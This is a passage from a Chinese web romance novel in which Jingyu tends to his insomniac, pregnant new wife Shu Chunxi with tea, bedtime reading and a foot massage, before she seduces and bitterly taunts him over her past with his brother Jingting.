“以前我们说好的,等到了结婚的时候,我会亲手种一颗……” 男人抿着唇,放低了声音, “纯熙,这是我送给你的花,以后,我也会好好照料它的。花盆我放在院子里了,你明天就能见到了。” 那人一动不动,没有任何反应了。 反正都开了口,敬渝索性就把话都交代了,嘱咐道: “那你先休息吧,我刚刚出了点汗,再去洗个澡,就来睡觉了。” 说完这些,他舒了一口气,去衣帽间再找了一套睡衣,然后进了洗手间。 这次敬渝没在洗手间耗多长时间,不到十分钟就出来了。 他一手用脖子上的毛巾擦着头发,一面放轻脚步,到了床边又极轻地坐下去躺上床。 就在这时,旁边的舒纯熙又翻了个身,还是将后背留给了他。 敬渝无奈地苦笑了下,随之也侧躺,一只手枕在脑袋底下,用目光凝视着新婚妻子的后脑勺。 。 舒纯熙睡不着,等敬渝也躺上床后,只要留心,她甚至能听得见他呼吸的声音,还有他渐渐睡熟后无意识转动着身体的动静。 他只用了几分钟就睡着了。 舒纯熙叹了口气,没好气地从床上起身站起来。 虽然她的东西搬进来后,已经把这个房间装扮得不伦不类起来,但她克服了那一丁点愧疚的心情,还是决定回自己原来的房间去睡。 她并没有顾忌动静,反正敬渝也已经睡着了。 但她忘了考虑这并不是她熟悉的房间,摆设的位置和她的客房还是有些出入的。 敬渝就是被一声突如其来的响,乃至一声闷哼给惊醒的。 男人于梦境里挣脱,骤然睁开双眼,只花了几秒的时间就适应了现实,揉了揉眼尾,撑着床坐起来。 “怎么了?” 声音里还带着点没睡醒的迷糊,但刻意放缓了,听上去竟出乎意料的温柔。 而床尾那个弯着腰的身影,轻“嘶”了一声,慢慢地蹲了下去。 敬渝总算反应过来,起身下了床,按开墙上的大灯开关,房间里一霎明亮清楚起来。 舒纯熙小小的脑袋依靠在床尾的床垫上面,蹲坐在地上,双手团住纤细的小腿,嘴角向下撇,忍耐地闭着双眼。 片刻间,男人已经来到她跟前,站着打量着她整个人,试图找出她怎么了。 终于,女人轻微颤动的脚趾给出了答案。 敬渝半蹲下去,手掌护在她脚边一两厘米的地方,停了下来,目光浮上心疼, “是不是撞到脚了?” 舒纯熙很喜欢剪脚指甲,稍微长出来一点就要剪掉,所以大拇指和指甲越来越贴合着长,两侧的指甲陷在肉里。 可以想象,应该是不小心撞到了,现下拇指一侧的皮肤,已经泛起一小片充血的红。 都说十指连心,难怪她疼得说不出话来,只能坐在地上缓一缓。 敬渝看着都觉得难过,挪得朝她稍微近点,紧张地说: “你是不是很疼啊,那,那怎么办能让你好点?” 舒纯熙闭着的双眼都在用力地忍耐,五官皱巴巴地挤在一起,飞快地小幅度摇摇头,虚弱地吐出几个字, “歇会就行,不用管我。” 这话说的,他怎么能真的不管她? 既着急又手足无措,敬渝踌躇地说: “地上太凉了,要不然我抱你去床上吧?” 舒纯熙默许地收回了手,微微张在身侧两旁,感受得到男人小心翼翼靠近的动作,以及总算肌肤相触的实感。 她一手揽着敬渝的脖子,另一只手任它垂下,脑袋没有更放松地靠在他手臂上,但动作总算没有太僵硬。 不过短短的几步路,两个人却都心照不宣地想起先前那一件事。 舒纯熙始终犹豫着,不知道该不该迟来地出口解释一句。 长睫颤着,在面庞上投下两片阴影,一声“敬渝”就在嘴边。 “晚上那个时候,是我不对,” 男人的声音抢在她前头响起,斟酌着,似乎也是鼓足了勇气。 “我不应该突然那样的,是吓到你了吧?对不起。你放心,以后我会更注意一点。” 说完,他已经将舒纯熙给放在了床上,双手克制地向回收,似乎没有奢求她的回答。 但舒纯熙淡淡地“哦”了一声。 直到此时,他才总算放心地输出一口气,心中亦是如释重负,微微弯了唇角。 舒纯熙坐在床上,确实缓了一会儿,就没有那种剧烈的疼痛了。 而敬渝始终站在一旁守着她,期间还偏头去打了个哈欠。 “我没事了,你继续去睡吧。” 她摆摆脚,目光直视着前方,发了话。 而旁边的人却半晌没反应,她不禁觉得奇怪,只好抬起头望了一眼。 支起身子站在一旁的男人歪着点头,半合的桃花眼里目光隽永,像是在看什么奇珍异宝。 “你干什么?” 她嘀咕了一句。 敬渝轻咳一声,欲盖弥彰地收回了眼神,手覆在鼻下揉了揉,漫不经心地换了个话题,问: “你刚刚怎么起来了,是要去洗手间吗,还是一直没睡着?” “我睡不着。” 舒纯熙幽幽地回答道。 男人也没再问为什么,说了声“你等我一会儿”,就转身出了卧室。 舒纯熙不知道他去干什么了,安静地待在床上,说不上是在等敬渝回来,还是在等自己有睡意。 没一会儿,敬渝带着一本书和一杯淡黄色的水回来了。 “这是安神茶,喝了可以助眠,你试试。” 他将水放在舒纯熙手边的床头柜上,轻声说道。 说实话,舒纯熙不是很感兴趣,类似的安眠手段她不是没有尝试过,如果不是医生说褪黑素吃到习惯也会失去效果,她早就每天用药助眠了。 但敬渝到底忙上忙下一通,她也不想拂他的好意,端过杯子分成好几口喝完了,然后用没什么精神的眼眸看了他一眼,示意他现在可以去睡了。 敬渝也确实转身绕到另一边坐上了床,却没有躺下,而是将那本书摊开来放在腿上,偏头朝她看过来。 “你躺好闭上眼睛,我给你读故事。” 舒纯熙愣了一下,神色古怪地看了一眼不远处坐着的敬渝。 而男人见状,已经煞有介事地翻开了那本书。 “你不困么?” 耳边响起一声轻笑,他又翻了几页纸,低低地说: “等你睡着了,我再睡。” 那你今夜是别想好好睡了。 舒纯熙立刻在脑海里想出了这句话,但好歹是没脱口而出,只是努努嘴,真的掀开被子躺了下去。 确认身旁的人闭上双眼后,敬渝就开始读 第一篇童话。 “从前有一个国王和一个王后,他们幸福地生活在一起,并且生了十二个孩子,可这十二个孩子全是男孩。国王对王后说:‘你快要生第十三个孩子了。要是这个孩子是个女孩,我就下令杀掉那十二个男孩,好让她得到更多的财产,并且让她继承王位。’……” 男人的声音越来越小,盯着书上文字的眼神也逐渐迟疑了起来,仔细看了下后面的那段话,没有读出来,因为后面写的是: “国王不只是说说而已,他甚至让人做了十二副棺材,在棺材里装满刨花,还在里面放上一个小寿枕。他让人把棺材全部锁进一个密室,把秘室的钥匙交给王 后,不许她告诉任何人。” 敬渝屏息凝神,合上书又看了一眼封面,他记得自己确实是拿了一本童话书啊。 想着,他有点心虚地去看舒纯熙那边,她翻了个身,睁开眼睛,淡淡地说: “抽屉里有一本别的,读那个吧。” 第32章 这话如同一个来得非常及时的台阶,敬渝立刻就合上了腿上的那本童话书放到了一旁,然后探身去找舒纯熙说的那本书。 右手边的床头柜,第一层的抽屉里本应该是空的,现在里面竟也真的像舒纯熙说的那样,放着一本书。 典藏版的封面,拿出来时放在手上沉甸甸的,很有一点分量。 但真要算起来的话,她才是这个房间里后来的入住者,怎么好像比他还熟悉一些? 敬渝无声地勾着唇角,心里腹诽了一句,然后又仰靠在床头,翻开那本《追忆似水年华》。 舒纯熙已经转为平躺的姿势,上手覆在小腹上,闭着双眼。 不久时,身体右侧高一点的地方,响起男人清隽淡然的声音,语调没有什么波澜起伏,很是平静,理所当然地钻进她的耳朵里。 “我常常是早早上床的。 有时,刚一熄灯,眼皮便一下子沉重得垂了下来,连‘我睡着了’这句话都来不及对自己说。 半小时后,醒来了,觉得是该去找睡眠的时候了; 我想把还拿在手里的书放下,把灯吹灭; 可我其实已经在睡梦中一直想着书中的内容, 只不过那些思想变得有些奇特了: 我仿佛成了书中讲述的对象——一座教堂,一个四重奏,或者弗朗索瓦一世与查理五世之间的争斗。 ……” 第一人称,冗长的自述回忆,不光听的人逐渐追不上,就连读的人,也逐渐垂着头,声音低了一些,撑着精神读着。 舒纯熙耳边,那个声音许久没有停下,响得太久,一句接着一句地吐出来,但又并不是朗读诗歌那样的抑扬顿挫,更像是一辆电车规律地行驶在轨道上面,“叮咚叮咚”地响着铃声。 她本不对他真的能读出什么抱有期望,但到最后,意识也恍惚间渡到一个点上,游过那里,彻底迷蒙。 睡过去之前,她模糊地评价,从某个角度来看,这个声音其实是很温润也很亲和的,对么? 就像是刚经历过一场大雨后的森林里,从树的缝隙里投下来的一束阳光,让潮湿的藓忍不住要去循着他的温度,去拥抱一样。 舒纯熙还没有想明白为什么,她最后又会把敬渝的声音解读为一种温柔的温暖的东西,就坠入睡梦的深空,均匀地呼吸了起来。 明明他一向是冷淡的漠然的。 大概每个人都还是更愿意把事情往自己心里面所希望的样子上去靠拢,总是把那模样赋予面前的人,来弥补回忆里的某种缺憾和执着。 在确认舒纯熙进入睡眠后的呼吸彻底沉稳下来之后,敬渝才停下了继续往后读的念头,目光顺势又往下面看了几行,将屏住的呼吸缓缓呼出。 腿上面倚着的书,被小心翼翼地合上,再压在前头的那本童话书上面。 敬渝微阖双眼,倚着床沿,有些出神。 分明刚才读书的时候,整个人的思绪都好像要被绕进去,不自觉地要把双眼都彻底合上。 但停下之后,却又没有了要立刻去睡觉的想法,反而精神在半夜里愈发清楚。 身侧的人已然睡熟,意识对于面前的境况有大致的掌控,但他也知道,这个夜晚开始,也就是现在此刻,胸膛里跳动着的那颗心,朝左边偏了大半,就像要冲出体外那样。 悄然地转过身,手肘抵在枕头旁的床垫上,敬渝向下躺了一点,然后支住身子,朝着她的方向很认真地端详着。 女人闭上了双眼,眉心舒展,红唇小嘴微微张开一个小口,像一只鱼吐泡泡那样往外呼气,再用秀气的鼻子吸气,循环往复地重复着同一个简单的动作。 看得人莫名柔和。 这还是他第一次这么认真地观察舒纯熙睡觉的样子,更何况,还是在同一张床上。 想着,敬渝忽然抬起搭在腿侧的一只手臂,伸过去,在女人的脸畔悬而未决,最后,呼吸又屏得无声无息,欲盖弥彰地捻起一缕碎发,轻轻地往后拨了一下。 而后,又默默收回了身侧。 拇指指心的皮肤上,与女人凝脂面庞接触的那一息不到的时间后,竟然弥留着挥之不去的触感,直在心上用羽毛挠痒痒。 此夜,无风无雨,却是他的新婚。 敬渝想到了这一晚上的“兵荒马乱”,不置可否地笑了一下,盯着舒纯熙的目光变得愈发柔和。 时间在一分一毫地流转,眼前的这个空间却那么让人眷念,仿佛充满了安全感,让漂泊的旅人也回到了港湾。 原来她会失眠,原来她会睡不着。 那是只有今天这样,还是已经成了习惯? 敬渝想着,脑海里充满了关于舒纯熙的一切,或好奇或疑惑,这些是除了和她结婚以外,自己怎样也不能发现的事情。 现在,都袒露在了他眼前。 总之面对着眼前的这个女人,或仍旧熟悉,或已然陌生,都不重要了,一种统一的情绪重新笼罩了上去,那是一种苍天见怜的庆幸。 不是说他终于拥有了她,而是,所有的这一切,总算又回到了他的眼底下,他的目光所及之处。 心里那些长长的裹脚布,终于可以被拆卸下来。他不用再抿紧双唇,害怕去回望自己的心,所以只能目视前方一直往前走。 “我可以去学,也会改变,” 敬渝喃喃低语,对睡熟的女人说,像是一个小小的承诺,扬扬唇角, “以后每天我都给你读书,你要不要听?” 睡梦中的人仿佛听到了他的声音,皱了下眉头,转过身去换了个睡姿。 见她这样,敬渝又在背后淡淡地笑,自顾自地当她是同意了。 第33章 次日。 舒纯熙醒过来的时候,已经接近中午,身心因深度睡眠而得到了些许舒展。 大脑里起先一片空白,然后所有的思绪、回忆和情绪再归位,她睁着双眼,望着眼前这片有点陌生的天花板。 一样的床的摆放方位,一样睡在左侧,还有身下的床垫也是相同的质感。 舒纯熙花了好一会儿,才反应过来,她现在躺在敬渝的房间里。 昨天,她就已经搬进来了。 身侧没有人,敬渝已经起床离开卧室了。 舒纯熙撑着手坐了起身,目光落在床尾后的地板上,房间里拉着的不透光窗帘遮挡住了外面的天光,只有底下的一个小缝,漏出来一条线的光亮。 心里莫名其妙地堵了起来,两只嘴角向下扯着,女人从床上站起身,走进卫生间里。 灰色的玻璃杯旁边放着她的粉色玻璃杯,左边杯子里面放着一把黑色的电动牙刷,而她的那支是淡粉色的。 两只牙刷抵在各自的玻璃杯里,露在上面的上半身则朝着相同的方向,中段交叠在同一处,看上去就像交颈而眠的一雌一雄两只天鹅。 抿紧双唇,舒纯熙伸手将那只黑色的牙刷拨到另一边去,然后再把自己的牙刷和刷牙杯拿下来,垂着双眼,动作恹恹地开始了洗漱。 她一觉睡到中午,下楼吃了午饭后,又去花园歇过晌,一天的时间也就消磨得差不多了。 晚上睡得迟,白天就会起得晚,白天起晚了,又没有什么事情可以做,不能劳心费神,压根消耗不了什么体力,晚上就依旧会睡不着,入睡的时间就 也会往后推移。 循环往复,让人不得不头痛。 天边挂起绚烂的橘红色火烧云时,舒纯熙正坐在秋千上想这件事。一只手抓在吊链上,而脸颊倚在手侧,她有一下没一下地在空中晃荡着。 想到最后,也没有真的想出来一个解决方法来,思绪反而被远处走过来的一个人给打断了。 男人手上提着一个保温袋,看上面的卡通图案,应该是一个挺火的甜品店的外带包装。 而提着袋子的男人衣服还没有换,西装一丝不苟,严谨到了头发丝。 怎么看怎么违和。 忍住心里的好笑,直接冷哼一声,舒纯熙别过脸去。 而朝她走来的敬渝又加快了脚步,快走着把走到她跟前要花的时间给缩短了一半,到了跟前,微喘着平复着呼吸,另一只手把袋子递到秋千上的人面前。 敬渝又不说话,舒纯熙偏过去的脸等于对他没影响,反而是那保温袋明晃晃地扬在眼前,应该是什么吃的,不立刻去看好像亏的反而是自己…… 舒纯熙目光飘忽,索性数起了吊链上的一个一个椭圆形的铁环。 “我买了焦糖布丁和酸奶冰激凌,先吃一点,然后再去吃晚餐?” 男人的气息几下就恢复如常,含着笑,主动捧起了台阶, “去那边坐一下,我帮你拿出来摆好?” 秋千上的人又低低地哼了一声,不置可否,但好在脚是触了地踩下来,从秋千上下来,直接转了身,往后面不远处的长椅边开始挪动。 舒纯熙在长椅的一边坐下后,敬渝也在另一边做好了,如他所说,将那提了一路的保温袋给放到地上,俯下身撕开贴条,从里面一样一样拿出了东西来。 装在透明盒子里的焦糖布丁,还是装在方形玻璃盒里的酸奶冰激凌,还有一个可颂,一个蛋黄酱三明治,一股脑都被拿出来摆在两人中间的地方。 舒纯熙皱起了眉头,盯着敬渝又把裹着餐具的纸巾拿出来。 这下袋子是总算空了。 抬起头转过来的男人好像也慢一步地反应了过来,手上的动作停顿了一下,把纸巾暂放在双膝上,又将那两个面包给塞回了袋子里。 做完这些,他又打开纸巾,从里面分出两张来,一张垫在椅子上面,把见了空气而快速挥散着凉气的冰激凌和布丁拿起来,放在纸巾上面。 另一张纸,他递到舒纯熙手边,看她没什么配合的意思,就抬了一下她的手,好整以暇地垫在她的双膝上。 然后,他再去开冰激凌的盒子,这一回舒纯熙接了过来,随即,撕开包装袋的塑料勺子也被插在冰激凌中间。 “好了,” 忙活完这么一遭,敬渝觉得舒纯熙审视打量的眼神都要把他一背的冷汗给吹干了,不对,他本就是手忙脚乱才会起这些赧然的冷汗的。 想着,讪讪地又说道: “先吃冰激凌吧,好像有点化了,保温袋效果不是很好,从店里到家又有点时间。” 他说的这些她又不是不知道,目光在那奶白色的固体冰激凌上停留着,舒纯熙扯扯嘴角, “借花献佛的事情,你还有本事讲得这么好听。” “才没有,” 敬渝“啧”了一声,声音不复低沉,拔高了些许解释道: “我下了班自己排队去买的,就是担心买早了会化掉,买完了立刻就回来了。” 然后就是送来给你吃。 舒纯熙“哦”了一声,拿起勺子开始吃。 身旁的人则目光灼灼地在一边望着。 吃了没几口,她就没好气地回了一记眼刀过去, “你又干嘛?” 敬渝伸出食指,默默地摸了下鼻梁,移开了眼神。 舒纯熙这才继续吃了起来。 然后在她吃到三分之一的时候,敬渝又看过来,凝着眸子开了口,语气一点不马虎地劝她说: “吃这么多够了,剩下的就留着明天吃吧。” 舒纯熙不耐烦地叹了口气,把剩下的几乎要融化完的冰激凌往他面前递了一下, “……你确定?” 难不成再放冰箱去冻起来,明天再来吃? 敬渝嚅动了一下嘴唇,默然伸出手,从她手里把玻璃盒接过来, “剩下的给我吃。” 舒纯熙望着他一脸淡然的面庞,但语气里分明有点勉为其难,一天的不顺心都找到了发泄的苦主,拔高音量气急败坏地说: “神经病!” 吃个冰激凌还要被看着定量摄入,舒纯熙不爽到了晚上睡觉之前。 明明是他买来送给自己吃的,到最后又不让自己好好吃完。 就在舒纯熙越想越气,满腹怨念的时候,敬渝回房来了。 房门先从外面被他打开,然后他又折返出去,从里面端进来一个泡脚桶。 再转回去将房门关上,敬渝才转过身来,望着床上玩平板的女人,试探地问了句: “我端了水来,你泡完脚再睡?” 大约又是什么治疗失眠的手段,舒纯熙想了想,倒没有拒绝,下了床坐到沙发上。 泡脚桶里面的开水已经晾到了四十度左右,温度适宜,女人双手撑在身侧,低头往盆里盯着自己白花花的脚丫看。 敬渝就席地坐在铺了羊绒地毯的地面上,目光柔和地望她的脸。 她看上去比他高一点,他便仰着头,嘴角噙着一丝笑意。 “明天你还想吃什么么,我下班了给你买回来?” 不用耐着性子去排队,让他去排,确实是个不错的方法。 但舒纯熙只是拨弄了一下泡脚桶里的水,没应声。 “我要是实在想吃的话,不能让家里人跑腿去买么?” “可以……是可以,” 敬渝一时之间琢磨不透舒纯熙的意思,因为她的语气很平静,真的像是在询问,而不是阴阳怪气或者拒绝,或者说,她也没有必要用这种方式拒绝。 于是他沉下气,压下心中忐忑,小声说: “但你交代给我去买也是一样的,不是嘛?” 是一样,只要不要她自己去买,谁去买又有什么区别? 舒纯熙没答话,茶几上的手机闹钟就响起来。 敬渝则伸手把闹钟划掉,撑着手站起来,绕到一边的沙发上坐下,然后拿起放在一边的干净毛巾瘫在手上,示意舒纯熙把脚给他。 舒纯熙弄不准他的意思了,缩在桶里不动。 “好了,泡太久也不行,” 男人拧着眉一脸认真,将语调放松,循循善诱般: “我帮你把脚擦干净,然后给你按摩。” 闻言,舒纯熙狐疑地望过去,试图从说这话的人脸上找出一丝一毫的破绽,但他岿然不动,耐心地等着。 粉红与天蓝色混合交融的毛巾,包裹住白皙的脚,乃至脚腕和上面的小腿。 敬渝的手掌隔着厚厚的毛巾,动作仔细舒缓地推动,细细拭去上面的水珠与潮气。 两个人都不由自主地放轻了呼吸,尽力保持着目不斜视。 两只脚分别擦完,舒纯熙顺势斜躺在沙发上,而敬渝退到沙发尾下去,双膝岔开跪在地板上,抬起舒纯熙的脚腕。 任人摆弄宰割的感觉并不好受,舒纯熙的脚趾轻轻地颤抖着,感受得到那双清瘦有力的大手是怎样抚过她的脚板,揉捏着其中几个穴位。 她难耐地闭上了双眼,胸膛里的心脏“扑通扑通”剧烈跳动着,冲击着两耳鼓膜,浑身紧绷,却又好像酥软得没有一丁点抵抗能力。 这感觉令她抓狂,又不可控制地陷入绝望。 第34章 第一只脚只差一点就要按完,舒纯熙忽然间挣扎着收回了脚,两只腿并拢,环在臂弯之中,目光闪躲地别过脸去,语速很快地说了句: “好了,我不想按了。” 敬渝今天才速 成的按摩手法,聚精会神地对待着今天最后一项事务,牢记着孕妇不能被按压的几个穴位避开。 被舒纯熙的话一说,有点愣怔,但并没有执着,低着的头也就一直没有抬起来,克制着呼出一口气,沉声应她道: “好,那你先去睡,我把这儿收拾一下。” 他说完,舒纯熙几乎是立刻就下了沙发,汲着拖鞋跑到床边,掀开被子上了床。 被留下的人则在原地一动不动又待了好一会儿,等到自己也完全平复下去,才从地上爬起来,端起泡脚桶进了洗手间。 将一切都收拾好之后,敬渝又洗了一把脸,望着镜子里的自己,吸气,呼气,深呼吸,重复了十几次,才从洗手间里走出去。 房间里的灯还亮着。 男人从门边转过去,就看见舒纯熙坐在床上。 她并没有真的在睡觉,只是倚着床头,不知道在想什么,好像有点出神。 待到敬渝走到床边,从自己那侧上了床之后,才看到她的面色有种莫名的苍白。 男人撑着手探身过去,目光上下一扫, “你怎么了,没什么事吧?” 舒纯熙没说话,侧转过脸来,眼神撞上他的双眸,望进他眼里,但又好像不是在看他,突然张开了双唇,那语调幽幽的,似呢喃低语一般送到敬渝耳边。 “敬渝,你抱抱我。” 好似一道裹挟着白光的炸弹在敬渝脑中骤然炸开,他听见了女人的话,尾调里藏着点委屈巴巴,但细想一下,又仿佛根本没有,这话只不过是她的命令。 总之他在眼前这境况之下,实在没办法很快弄清楚她是什么意思。 心毫无章法地乱了,平白加速了急促的呼吸,因为抑制着,轻到听不见更多的细节,一切只仿佛是寻常的自如模样。 他撑了下身体,朝左边的人靠近过去,几乎就要挨到她身侧,坐下后,抬起双臂,一只手落在她脊背上,另一只手则从前面揽过去。 他倾身朝她的方向俯过去,而她也被他揽过来,两个人的身体离得还有一点空隙,上半身却逐渐靠近,以至于紧拥在了一起。 提出要求的人,双臂始终无力地垂着,说完那句话之后,就没再有过更多的动作。 所以拥抱的事情是由敬渝来完成的,而她只是乖顺地承受。 敬渝察觉出她的不再抗拒,一颗心在胸腔里跳动得轰鸣四起,两臂发麻,将她揽在自己的怀里,既如获至宝一般不敢用力,却又想把好不容易愿意靠近的女人按进自己的血肉里。 她的脸侧贴着他的胸膛,肌肤相触,吐出的呼吸甚至轻抚着他的心口,将那里熨帖得令人忍不住喟叹。 满腔热血不知道该往何处安放,敬渝只觉得气血上涌,眼里似有潮意,用极低的声音眷念地呼唤着怀里人的名字, “……纯熙,纯熙。” 怀里的脑袋偏了偏,那动作就好像是轻蹭了一下他的胸口,无声地回应着他,将心都酥麻到瘫痪。 男人双臂愈发收紧的同时,女人顺势将整个身子都靠到他身前,全身心地倚着他。 舒纯熙在他怀里抬起头,黑黝黝的眼睛再度望向他,海上又传来塞壬的歌声,诱惑着他再往前一步。 这次,她说: “敬渝,你亲亲我。” 敬渝难耐地闭上了双眼,不去看她的眼睛,身体已经僵硬起来,不知道该不该听她的指示。 那是她的要求,他顺从,其实是理所当然的,就像他总是不能拒绝她那样,他也总是束手无策的。 怀里的人并不催促,耐心地等待着他的答复。 胸膛里的心总算“扑通扑通”地要从嗓子眼里跳出来了,男人有点狼狈地睁开眼睛,喉咙滑动,嘴角向两边扯了一下,神情隐忍。 而后,他的双掌捧起女人的脊背,自己则如同信徒般俯身下去,极其克制地将自己的唇印在舒纯熙的唇瓣上,一触即离,不敢有丝毫的留恋。 “好了。” 敬渝喑哑着嗓子开口,喉咙滚动,似乎用有点卑微的态度,请她结束现在的这种情况。 舒纯熙如他所愿地坐直了身体,同他分开了上半身的距离,然后,在他晦涩难懂的眼神里,伸手拉过来他的一只手掌,引导着他放在自己洁白的脖颈上。 “敬渝,你再摸摸我。” 但放在脖颈上的那只大掌并不配合,本就只是凭着一点接触,搭在她肩上。 听见她的话之后,那只手反而变得更僵硬,虽然尽量没有挪开收回来,但一动不动的。 身前的女人蹙眉,拉下他的手,抓着男人的手腕,往自己身前还算圆润的地方带去。 那只手这次没有任她摆布,眼疾手快地在即将触碰的关头,手掌向上一仰,和手腕形成一个九十度角,同时也挡住了舒纯熙的动作。 另一只手也追了上去,无声却坚决地握住她的小臂,将自己的手掌解救下来,收回了身侧。 “别这样。” 敬渝憋着一口气,死死咬住牙,压着声吐出这三个字,眼底有点红。 跪坐在他身前的女人紧抿双唇,用鼻子呼出一口短促的气,直起身子,搡了一下男人的肩膀,将他向后推抵在床背上。 然后翻身骑在了他身上,居高临下地睨着他。 身下男人睡裤里的东西早已抬头,愈发叫嚣,舒纯熙坐上去的时候就已经感受到了。 她没什么表情地细细端详着敬渝的样子,身侧的两只手臂绷紧了睡衣的面料,却又只能无奈地抵在身侧,明明想反抗却又不敢的样子。 “纯熙,我……你,你先下去,” 那两瓣薄唇快速开合着,难得说出些杂乱无章的字句,明晃晃地就在她眼前绕着。 舒纯熙抵着他肩,将人按住,然后凑上去将他的双唇严丝合缝地堵住。 身下那人先是闷哼一声,而后无助的呜咽着,最后,总算老老实实地没了声音。 她描摹他的唇齿,然后撬开紧闭的牙关,将舌头递入,与那人的舌头触到一起,肆意地挑逗。 等到第二次探入时,本以为还要花些功夫,那人却已经生疏地探出舌头,颤颤巍巍地应和着她的动作,被她勾了出来。 唇齿尽情缠绵,唾液,舌头,欲/望,心跳,所有能交换的不能交换的,都交换了。 终于一吻结束,女人又累瘫在他腰腹上,那块灼烧着她,上半身被他拥着,两个人的额头紧紧抵在一块,只有嘴唇是分开的。 彼此短促急切的呼吸喷吐在对方的脸上。 不知道还有多久才能平复下来,舒纯熙已在这当头呼吸不稳地开了口,带着点埋怨, “你看,你都不会接吻,还要我来教你。” 敬渝的心跳都要盖过耳边的声音了,低喘几声,胡乱点了下头,蹭了蹭女人的面颊,好笑又无可奈何地“嗯”了一声。 脸上的触感忽然消失了。 舒纯熙移开了面庞,离得远些,坐在他身上,撑着他的胸膛,眨了眨眼,忽然说: “我吻得好吧?” 得到敬渝认输般的答案后,她又扯起唇角一个清浅的弧度,声音不大不小,足够让面前地男人听得清清楚楚: “我会这些,都是敬亭手把手教的,大哥。” 房间里面一时间静谧了起来,敬渝睁大了那双窄眸,目光不消解释,已经逐渐恢复清明,随之而来的是理智与克制回笼。 身体依旧僵硬,现在已经感到有点麻木,他肿胀得依旧难受,而她不管不顾地坐在上面,愈发折磨。 他忽然想到在机场的时候,她也是叫了他“大哥”的。 没有听错。 身前的女人用一种似笑非笑的表情看着他。 而现在的他呢,狼狈不堪,混乱,如同刚刚被蹂躏过了一般。 那么刚刚的这一切算什么呢? 他克制又隐忍,理智和欲望的疯狂拉扯,最后还是被自己日思夜想的女人,引诱到放纵自己堕落的情况算什么呢? 他没想真的碰她的,一切都可以忍耐。但他放纵自己听从了她的指示,亲吻了她,不是么? 她全都明了,甚至是冷眼旁观到现在么? “不要叫我大哥,我不是你的什么大哥。” 敬渝有点难看地扯出一个笑容来,也不知道是要给谁看,霎时已经像是颗被霜打了的茄子,凉意遍布周身,爬上脊背,催出一背冷汗。 “纯熙,我们已经结婚了。我是 你的丈夫,我是你的老公。” 回应他的只有很快的一声嗤笑,女人凝视着他,好整以暇地欣赏着他现在的面部表情,低头吹了下自己的指甲,提醒道: “你忘了你之前是怎么跟我说的?我们结婚不是为了孩子嘛。你现在是想干什么,坐享齐人之福,跟我重归于好?让我想想,你这是不是算违背初衷了?” 第35章 她伸出手点了点他的心口,明明力道不重,但就像是一根钢针一样,猛地扎进了敬渝的心脏里面,把他一直以来覆盖在上面的遮羞布猛地给撕扯开来。 敬渝不知道该说点什么了,从刚才到现在发生的一切都在他的意料之外。 这所有的一切都只是舒纯熙为他准备的挑逗,让他好好看清楚,自己是个怎么可笑又下流的男人。 原来是这样。 他低笑了一声,已经顾不得身体上的异样和难受,伸手上前,又把人揽进自己的怀里,凑得很近,他俯身讨好一般地啄吻她的面庞。 先是额头,然后是鼻梁,双颊,还有那张让他难过的嘴唇,然后滑下去,到她的脖颈。 他确实是不会接吻,确实没有这种经验,所以就只是单纯的用嘴唇印下一个吻而已,就像一开始她要求他的时候,他给出的那样。 男人困兽犹斗,像一只打了败仗的雄狮,气急败坏却又无可奈何地在她身上留下着近乎没有的痕迹,只有动物标记一般的气味。 呼吸越来越沉,动作越来越慢,到最后,还是徒劳地停下了动作,拥住她,还是像一开始抱着她那样将她紧拥,用更卑微更可怜的语气呼唤她的名字。 似乎是在用柔情似水的语调,呼唤那遥远的曾经,祈求她能再惦念自己的一点好。 “纯熙,舒纯熙,舒纯熙,纯熙……” 舒纯熙却听得厌烦了。 她想推开他,又听到他自顾自地说: “你还生我的气是不是?我给你道歉好不好,我错了,都是我不好,其实那个时候你不走,我们也是要结婚的,我只是希望你能等一等。 “你知道的,我怎么能真的拒绝你呢,我怎么会不跟你结婚呢?纯熙对不起,都是我不好。你原谅我,你原谅我好不好,再给我一次机会,我绝对不会再那样了……” 他抱着她,语气很快地把这话一箩筐地都倒出来,就好像抱着一个行将就木的人,再不把这话说出来就没机会了一样。 是对是错至今没有定论,而她也嫁了别人,早给了他足够沉重的报复,他其实也生过她的气。 但此时此刻,过去他到底怎么想的已经都不重要了。 当年那件事到底该怎么定论他也不在乎了,他可以低头可以道歉,可以说对不起,可以祈求她的原谅。 都可以,他发现自己根本就不在乎谁是谁非。 如果对手是她,他早就会缴械投降的。 舒纯熙推搡的动作停了,她支着身体,因为拉扯,肩头掉落的睡袍也没有去管,目光浮上一层怜悯,看着敬渝,突然对他说: “所以呢?你不准备把我当弟妹,而是要我做你真正的妻子?” 男人几乎崩溃地低吼了一声: “没有什么弟妹,也没有什么大哥,你不要再说这个!” “敬渝,你在逃避,但是逃避解决不了任何的问题。你其实心里面介意我和敬亭的关系,介意得要死吧。” 她“呵呵”笑了一声,在他怀里冷冷地说: “你以为我们结了婚,就能回到以前了么?不一样的,一切都不一样了。你幻想你得到了从前那个舒纯熙做你的妻子么?” 她在他怀里动作幅度很小地摇了摇头, “你好好看清楚现在的我,你来弄明白我如今是谁。” 說完這句話,舒純熙貼著他起伏的胸膛往上攀,雙臂摟在了敬渝的脖子上,湊近,伸出小舌舔了一下他的喉……結。 原本仰起头不敢看她的男人浑身猛地一颤,难耐地闭上了双眼,嘴里挤出几个字: “纯熙,你冷静一点,你别这样行吗?” 女人不語,撐著他的胸膛,手一路從他腹肌中間往下滑,最後隔著泛著緞面光澤的黑色布料,撫住了那根口口。 红唇倚在他耳边,几乎就要亲到他的耳垂,轻吟道: “大哥现在想要纯熙么?要进来跟你的侄子或者侄女打个招呼么?” 说完,她还亲昵地捏了一下。 敬渝的脸色变得铁青,一只手牢牢地攥住舒纯熙的腕子,把她从自己身上拿开,两个人的手就这样在半空中僵持着。 女人纤细的手腕扭动了一下,蹙起眉头一副哀怨的模样,低声求情道: “大哥,你弄得纯熙好疼啊,如果你实在是不想要我,那我就用手或者用嘴帮你,也行啊。” 敬渝不想相信自己听到了什么,沉下的眼眸里蓄起滔天的狂风巨浪,但面对着她却又无处迸发,整个人最终透露着一股死寂和生人勿近的气场来。 “舒纯熙,你给我闭嘴。” 舒纯熙当然不会闭嘴,她的手还被他拽着收不回来,索性就那样任他攥着,柔软地没有了一点抵抗意味,凑在他鬓边又张嘴亲了一口,抱怨地说: “怎么了嘛,我**还是不错的,敬亭又没你这么好的脾气,一次不行就两次,两次不行就再来,后来哭得多了,我也就学得很好了。你真不想试试么?” 敬渝只觉得自己已经不能通畅呼吸了。 